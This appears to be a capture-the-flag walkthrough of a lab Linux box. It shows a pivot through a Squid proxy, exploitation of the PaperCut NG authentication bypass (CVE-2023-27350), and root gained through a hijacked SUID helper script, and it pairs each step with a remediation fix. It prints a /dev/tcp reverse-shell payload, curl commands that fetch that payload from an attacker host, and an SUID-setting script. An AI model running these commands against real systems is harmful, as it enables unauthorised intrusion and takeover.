← all walkthroughs

Bamboo

Linux· Medium
owned
2026-10-12
time to own
17m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Scanning bamboo-med found only SSH and a Squid forward proxy exposed directly. Pivoting HTTP traffic through that proxy revealed an internal PaperCut NG 22.0.6 print-management console that was not otherwise reachable. A known authentication-bypass flaw in PaperCut's print-and-device scripting feature let me run commands as the print service account with no credentials, yielding a foothold and the user flag.

On that host, a PaperCut helper script that the service account owned — but that is invoked by the print server with elevated rights — was writable by the same low-privileged account. Replacing the script and getting the print server to re-run it granted me a root-privileged SUID bash, completing full compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Identified SSH and an open HTTP proxy as the only direct entry points
A full port scan of $TARGET showed just two reachable services: SSH (22) and a Squid 5.9 forward proxy (3128). No application was exposed directly, so the proxy itself became the path forward — it was configured to relay requests to internal-only services rather than simply blocking outside access.
Nmap: 22/tcp ssh, 3128/tcp http-proxy Squid http proxy 5.9
Exact commands 1
shell

Full TCP port scan of the target.

$ nmap -sS -p- $TARGET
2PivotingProxy pivot / internal service discovery
Used the Squid proxy to reach an internal PaperCut NG admin console
Routing requests through the Squid proxy exposed a PaperCut NG print-management web interface on port 9191 that was not reachable directly. Response headers and page content confirmed the Squid hostname 'bamboo' and identified the exact product and build (PaperCut NG 22.0, build 22.0.6, trial license), letting me target a version-specific vulnerability.
Curl via proxy to :9191/user returned 'PaperCut Login for Trial License'; response headers showed 'Via: 1.1 bamboo (squid/5.9)'.
Exact commands 2
shell

Reach the internal PaperCut console through the Squid proxy.

$ curl -sS --max-time 15 -x http://$TARGET:3128 http://$TARGET:9191/user
shell

Extract the product/version banner to fingerprint the exact PaperCut build.

$ curl -sS --max-time 15 -x http://$TARGET:3128 http://$TARGET:9191/user | grep -Eio 'PaperCut[^<]{0,100}|[Vv]ersion[^<]{0,80}|[Bb]uild[^<]{0,80}'
FixDo not expose internal management interfaces through the forward proxyMedium
WeaknessThe Squid proxy on 3128 relayed requests to the internal-only PaperCut NG admin console on 9191, turning an otherwise unreachable management interface into something an unauthorised user could reach and fingerprint.
FixRestrict the Squid ACLs so the proxy only relays to approved external destinations, not back into internal management ports. Firewall 9191 so it is reachable only from the local host or an approved admin subnet, and remove the proxy from the public-facing network segment if it has no legitimate external use.
3Initial AccessPaperCut NG authentication bypass to remote command execution (CVE-2023-27350)
Exploited the PaperCut print-and-device scripting flaw to run commands with no credentials
PaperCut NG 22.0.6 is affected by a known authentication-bypass issue in its administration interface that lets an unauthenticated client reach the print-and-device scripting feature, enable it, and use it to execute operating-system commands as the account running the PaperCut service. I used a public proof-of-concept for this flaw, relayed through the Squid pivot, to get the target to fetch and run a reverse-shell script, landing a shell as the low-privileged 'papercut' service account.
Shell returned id output uid=1001(papercut) gid=1001(papercut); user.txt read from /home/papercut/user.txt.
Exact commands 7
shell

Serve the staged payload for the target to fetch.

$ python3 -m http.server 9000
shell

Confirm RCE by making the target call back to my listener, through the Squid proxy.

$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command "curl http://$ATTACKER_IP:9000"
shell

Write a reverse-shell payload to serve.

$ echo "#!/bin/bash\nsh -i >& /dev/tcp/$ATTACKER_IP/5544 0>&1" > shell.sh
shell

Instruct the target to fetch the payload.

$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command "curl http://$ATTACKER_IP:9000/shell.sh -o /tmp/shell.sh"
shell

Execute the payload; catch with a listener.

$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command 'bash /tmp/shell.sh'
shell

Catch the resulting reverse shell.

$ nc -lnvp 5544
shell

Confirm the foothold identity and read the user flag.

$ id; cat /home/papercut/user.txt
uid=1001(papercut) gid=1001(papercut)
FixPatch PaperCut NG to a version that fixes the authentication-bypass RCECritical
WeaknessThe PaperCut NG 22.0.6 install was vulnerable to a known authentication-bypass flaw that let an unauthenticated request enable the print-and-device scripting feature and use it to run operating-system commands as the PaperCut service account.
FixUpgrade PaperCut NG/MF to the vendor-patched version (20.1.7+, 21.2.11+, or 22.0.9+ per PaperCut's advisory) and apply the vendor's recommended network restriction: limit access to the admin web interface to trusted management IP ranges only.
4Foothold StabilizationSSH key-based persistence on a compromised account
Added an SSH key to keep a stable session as the service account
To avoid re-running the exploit for every follow-up action, I generated an SSH key pair and installed the public key for the 'papercut' account, enabling a stable interactive shell for the privilege-escalation phase.
Ssh papercut@$TARGET id returned uid=1001(papercut).
Exact commands 2
shell

Generate a key pair for the session.

$ ssh-keygen -q -t ed25519 -N '' -f /tmp/papercut_session_key
shell

Confirm the key grants shell access as papercut.

$ ssh papercut@$TARGET id
uid=1001(papercut)
5Privilege EscalationPrivileged process invoking an unauthorised user-writable helper script
Found a PaperCut helper script, writable by the low-privileged account, that runs with elevated rights
Enumeration of the papercut account's file permissions showed that /home/papercut/server/bin/linux-x64/server-command — a script PaperCut's own server process invokes, and which sits ahead of other binaries on root's effective PATH context for that service — was owned and writable by the unprivileged 'papercut' account itself, not by root. This meant any action that triggered the privileged PaperCut process to call that script would run my own code with the invoking process's elevated rights.
Ls -l showed server-command: -rwxr-xr-x 1 papercut papercut ... In a directory owned by papercut, invoked by the root-level PaperCut service.
Exact commands 1
shell

Check ownership and permissions of the helper script and its directory.

$ ssh papercut@$TARGET 'ls -ld /home/papercut/server/bin/linux-x64; ls -l /home/papercut/server/bin/linux-x64/server-command; file /home/papercut/server/bin/linux-x64/server-command'
FixRemove write access by the service account to its own privileged helper scriptsCritical
WeaknessA script invoked by the privileged PaperCut server process (server-command) was owned and writable by the same low-privileged 'papercut' account the server process runs as on disk, so anyone with that account's access could replace the script and have it executed with the server process's elevated effect.
FixMake all scripts the PaperCut service invokes owned by root (or a dedicated service-admin account) with the papercut runtime account denied write access (chown root:papercut; chmod 750). Run the PaperCut server process itself under a dedicated low-privilege account with no path to modifying its own control scripts, and audit for any other binaries under the install directory writable by the account that executes them.
6Privilege EscalationSUID bit abuse via a hijacked privileged helper script
Replaced the helper script and triggered the privileged process to grant a root-owned SUID shell
My overwrote server-command with a one-line script that gives /bin/bash the SUID bit, then caused the PaperCut service to invoke it again (consistent with an administrative action in the PaperCut web console that triggers a server-command call). When the privileged PaperCut process ran the replaced script, /bin/bash was given root ownership with the setuid bit set, letting me obtain an effective-root shell on demand.
Post-trigger: /bin/bash became -rwsr-xr-x root root; /bin/bash -p gave euid=0 and read /root/root.txt.
Exact commands 3
shell

Back up the original script and replace it with one that sets SUID on bash.

$ ssh papercut@$TARGET 'cd /home/papercut/server/bin/linux-x64 && cp -p server-command /tmp/server-command.orig && printf "#!/bin/sh\nchmod u+s /bin/bash\n" > server-command && chmod 755 server-command'
shell

Confirm /bin/bash has become SUID-root after the service re-invoked the script.

$ ssh papercut@$TARGET 'ls -l /bin/bash'
shell

Use the SUID bash to gain an effective-root shell and read the root flag; substitute <root.txt> for the real value.

$ ssh papercut@$TARGET '/bin/bash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
3128/tcp